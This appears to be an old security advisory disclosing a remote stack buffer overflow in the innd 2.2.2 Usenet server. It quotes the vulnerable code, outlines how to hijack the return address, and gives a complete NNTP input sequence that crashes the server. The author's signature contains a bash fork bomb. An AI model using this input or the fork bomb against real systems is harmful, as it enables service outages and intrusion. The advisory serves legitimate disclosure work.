innd 2.2.2 remote buffer overflow

[lcamtuf () TPI PL (Michal Zalewski)]

Newest innd 2.2.2, probably the most popular usenet news server (as well
as previous versions) contain remotely exploitable, trivial on-stack
buffer overflow in control articles handler.

Offending piece of code (in innd/art.c, function ARTcancelverify):

    if (!EQ(local, p)) {
        files = NULL;
        (void)sprintf(buff, "\"%.50s\" wants to cancel %s by \"%.50s\"",
                      p, MessageID, local);
        ARTlog(Data, ART_REJECT, buff);
    }

Where buff (local stack buffer) is SMBUF bytes long (it means, 256 bytes),
but MessageID can be up to 1000 almost bytes long. This code is reached
when cancel request is sent to special newsgroup (called 'control'), and
cancel request contains valid Message-ID, but From/Sender fields are
different in cancel request and in original posting.

How to exploit it? It could be a problem for script kiddies, as Message-ID
is strictly checked for non-printable characters etc. But hey, Message-ID
can be used only as a padding, and then we can overwrite return address
with From/Sender address of cancel post! This field is not verified in any
fascist way. Shellcode? Can be placed anywhere, quite big portions of
cancel post are lying in the accessible memory when overflow happens.

Sample input ("LONGBUFFER" = around 500-600 bytes of AAAs..., has to be
the same every time):

-- input -
201 XXX InterNetNews NNRP server INN 2.2 23-Oct-1998 ready (posting ok)
mode reader
group pl.test
post
Message-ID: <none@LONGBUFFER>
From: <test () polbox com>
Sender: <test () polbox com>
Newsgroups: pl.test

testing
.               <- single dot, comment to avoid mail transfer problems
group control
post
Message-ID: <some-random-msgid () test pl>
Approved: <approver () approving net>From: <sucker () free net pl>
Sender: <sucker () free net pl>
Control: cancel <none@LONGBUFFER>
Subject: cmsg cancel <none@LONGBUFFER>
Newsgroups: control

Damn, cancel it.
.                       <- single dot
quit
-- EOF --

If innd/nnrp is running under debugger like strace, you'll see that
child process responsible for request handling dies with SIGSEGV. Nice.

Don't ask me why, but I believe it will be hot weekend for Linux 2.2 users
;) Just wait for Wojtek's post ;P

_______________________________________________________
Michal Zalewski [lcamtuf () tpi pl] [tp.internet/security]
[http://lcamtuf.na.export.pl] <=--=> bash$ :(){ :|:&};:
=-----=> God is real, unless declared integer. <=-----=